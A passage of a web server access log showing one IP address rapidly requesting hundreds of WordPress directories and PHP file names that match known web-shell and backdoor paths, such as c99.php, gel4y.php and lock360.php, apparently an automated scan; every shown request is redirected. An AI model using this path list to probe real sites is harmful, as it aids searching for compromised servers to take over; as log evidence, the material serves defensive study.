795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:14 -0400] "GET /wp-setting.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:19 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:22 -0400] "GET /wp-content/plugins/elementor/assets/images/app/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:23 -0400] "GET /wp-comments-pos.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:24 -0400] "GET /wp-content/themes/ripro/inc/admin/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:25 -0400] "GET /wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:26 -0400] "GET /index/b/home/h213348220/fundlead.ru/docs/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:27 -0400] "GET /wp-includes/blocks/archives/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:28 -0400] "GET /wp-includes/sodium_compat/namespaced/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:28 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:29 -0400] "GET /wp-content/plugins/woocommerce/assets/client/blocks/products-by-attribute/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:30 -0400] "GET /wp-content/uploads/2023/03/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:31 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:32 -0400] "GET /Content/UserFiles/News/Orjinal/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:33 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:33 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:34 -0400] "GET /templates/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:34 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:35 -0400] "GET /wp-content/plugins/elementor/assets/images/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:37 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:38 -0400] "GET /wp-link.php/wp-content/plugins/wp-content/uploads/wp_live_chat/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:39 -0400] "GET /wp-cro.php/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:40 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:43 -0400] "GET /wordpress/wp-includes/js/mediaelement/renderers/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:44 -0400] "GET /wp-content/plugins/oxygen/component-framework/components/classes/gallery/photoswipe/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:45 -0400] "GET /map.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:47 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:47 -0400] "GET /wp-content/plugins/elementor-pro/modules/woocommerce/skins/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:48 -0400] "GET /wp-content/plugins/seo-by-rank-math/vendor/woocommerce/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:49 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:50 -0400] "GET /wp-content/plugins/ultimate-addons-for-gutenberg/blocks-config/uagb-controls/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:51 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:52 -0400] "GET /wp-content/themes/twenty/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:53 -0400] "GET /wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:54 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:55 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:56 -0400] "GET /newlms/assets/frontend/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:58 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:58 -0400] "GET /wp-content/plugins/shell/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:45:59 -0400] "GET /wp-content/themes/blocksy/static/sass/frontend/6-layout/entries/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:01 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:01 -0400] "GET /wp-includes/Requests/abou.php/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:02 -0400] "GET /wp/wp-content/themes/twentytwenty/template-parts/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:03 -0400] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:04 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:05 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:06 -0400] "GET /wp-content/plugins/wordpress-seo/vendor_prefixed/symfony/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:07 -0400] "GET /admin/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:07 -0400] "GET /.well-known/acme-challenge/action=./ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:08 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:09 -0400] "GET /vendor/symfony/serializer/Mapping/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:11 -0400] "GET /wp-content/themes/blocksy/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:13 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:14 -0400] "GET /assets/admin/plugins/ckeditor/plugins/scayt/dialogs/dialogs/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:16 -0400] "GET /wp-includes/interactivity-api/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:17 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:18 -0400] "GET /wp-includes/js/tinymce/plugins/image/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:20 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:21 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:22 -0400] "GET /files/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:23 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:24 -0400] "GET /wp-includes/SimplePie/HTTP/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:25 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:26 -0400] "GET /wp-content/plugins/woocommerce/includes/gateways/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:27 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:29 -0400] "GET /wp-content/fonts//wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:29 -0400] "GET /images/icons/rouyg/hppd/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:31 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:32 -0400] "GET /wp-content/plugins/insert-headers-and-footers/includes/auto-insert/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:32 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:33 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:34 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:35 -0400] "GET /wp-includesmaps/p/snippets/g8ofh3h3db/raw/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:35 -0400] "GET /wp-content/plugins/file-manager-advanced/application/library/codemirror/mode/jsx/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:36 -0400] "GET /templates/ja_purity/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:38 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:38 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:39 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:42 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:44 -0400] "GET /wp-content/plugins/generateblocks/src/components/unit-picker/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:45 -0400] "GET /wp-includesmaps/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:47 -0400] "GET /wp-include.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:48 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:49 -0400] "GET /sos/NewTheme/images/VillagesPictures/Dhodial/Dhodial/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:50 -0400] "GET /wp-includes/css/dist/block-library/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:51 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:52 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:53 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:54 -0400] "GET /wp-content/plugins/bdthemes-element-pack/modules/review-card/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:30 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:31 -0400] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:31 -0400] "GET /wp-content/plugins/not/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:33 -0400] "GET /wp-admin/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:34 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:35 -0400] "GET /wp-includes/js/tinymce/plugins/hr/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:35 -0400] "GET /wordpress/wp-includes/sodium_compat/src/Core32/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:37 -0400] "GET /wp-content/td/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:37 -0400] "GET /about/b/home/iune/www/about/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:38 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:39 -0400] "GET /wp-content/plugins/revslider/admin/assets/images/navigationeditor/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:40 -0400] "GET /classwithtostrin.php/rbzccnn.php/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:43 -0400] "GET /wp-content/upgrade-temp-backup/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:44 -0400] "GET /wp-content/plugins/wpforms-lite/templates/admin/empty-states/payments/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:46 -0400] "GET /wp-includes/js/tinymce/plugins/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:47 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:49 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:51 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:52 -0400] "GET /wp-content/themes/twentytwentytwo/styles/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:53 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:54 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:55 -0400] "GET /wp-content/themes/listdo/inc/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:56 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:57 -0400] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:58 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:00 -0400] "GET /http:/gracecommunications.church/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:02 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:04 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:07 -0400] "GET /wp-content/plugins/wp-rocket/inc/admin/ui/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:08 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:09 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:10 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:11 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:12 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:13 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:15 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:16 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:17 -0400] "GET /wp-admin/sr/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:19 -0400] "GET /wp-includes/Text/Diff/Engine/require/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:21 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:22 -0400] "GET /index/sr HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:23 -0400] "GET /wp-content/updraft/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:25 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:26 -0400] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:27 -0400] "GET /wp-content/uploads//wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:27 -0400] "GET /wp-includes/Text/Diff/Engine/Engine/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:28 -0400] "GET /wp-content/plugins/smartmag-core/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:29 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:31 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:33 -0400] "GET /wp-content/plugins/jetpack/_inc/build/shortcodes/js/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:35 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:36 -0400] "GET /wp-content/uploads/2022/07/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:37 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:40 -0400] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:40 -0400] "GET /wp-includes/js/tinymce/plugins/wpview/wp/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:42 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:43 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:44 -0400] "GET /wp-includes/js/tinymce/skins/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:45 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:47 -0400] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:49 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:50 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:51 -0400] "GET /sec/core/tests/Drupal/FunctionalTests/Hal/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:53 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:55 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:56 -0400] "GET /wp-content/plugins/jet-engine/includes/components/glossaries/assets/css/admin/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:48:57 -0400] "GET /wp-content/plugins/all-in-one-seo-pack/vendor_prefixed/psr/log/Psr/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:00 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:02 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:04 -0400] "GET /wp-content/plugins/elementor/core/admin/ui/components/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:06 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:08 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:09 -0400] "GET /.well-known HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:10 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:11 -0400] "GET /.well-known/config HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:12 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:13 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:14 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:15 -0400] "GET /NewFile.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:16 -0400] "GET /Public/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:17 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:18 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:19 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:20 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:21 -0400] "GET /api.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:22 -0400] "GET /app/wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:22 -0400] "GET /backup/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:23 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:24 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:24 -0400] "GET /blog/blog.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:26 -0400] "GET /c.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:26 -0400] "GET /c99.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:27 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:28 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:29 -0400] "GET /comfunctions.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:31 -0400] "GET /contact.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:32 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:33 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:34 -0400] "GET /css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:35 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:38 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:40 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:43 -0400] "GET /error.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:45 -0400] "GET /f.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:46 -0400] "GET /favicon.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:47 -0400] "GET /footer.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:48 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:49 -0400] "GET /gel4y.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:50 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:51 -0400] "GET /header.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:52 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:53 -0400] "GET /home.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:54 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:56 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:56 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:57 -0400] "GET /libraries/php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:58 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:49:59 -0400] "GET /login HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:00 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:50:01 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:55 -0400] "GET /wp-content/plugins/w3-total-cache/lib/Aws/Aws/Api/Parser/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:56 -0400] "GET /assets/css/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:57 -0400] "GET /wp-content/themes/twentytwentyfive/styles/sections/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:46:59 -0400] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:00 -0400] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:01 -0400] "GET /wp-content/themes/astra/inc/modules/ HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:02 -0400] "GET /wp-mai.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:03 -0400] "GET /wp-taglin.php HTTP/1.1" 301 795 "-" "-" 40.69.37.22 - - [27/Apr/2025:20:47:04 -0400] "GET 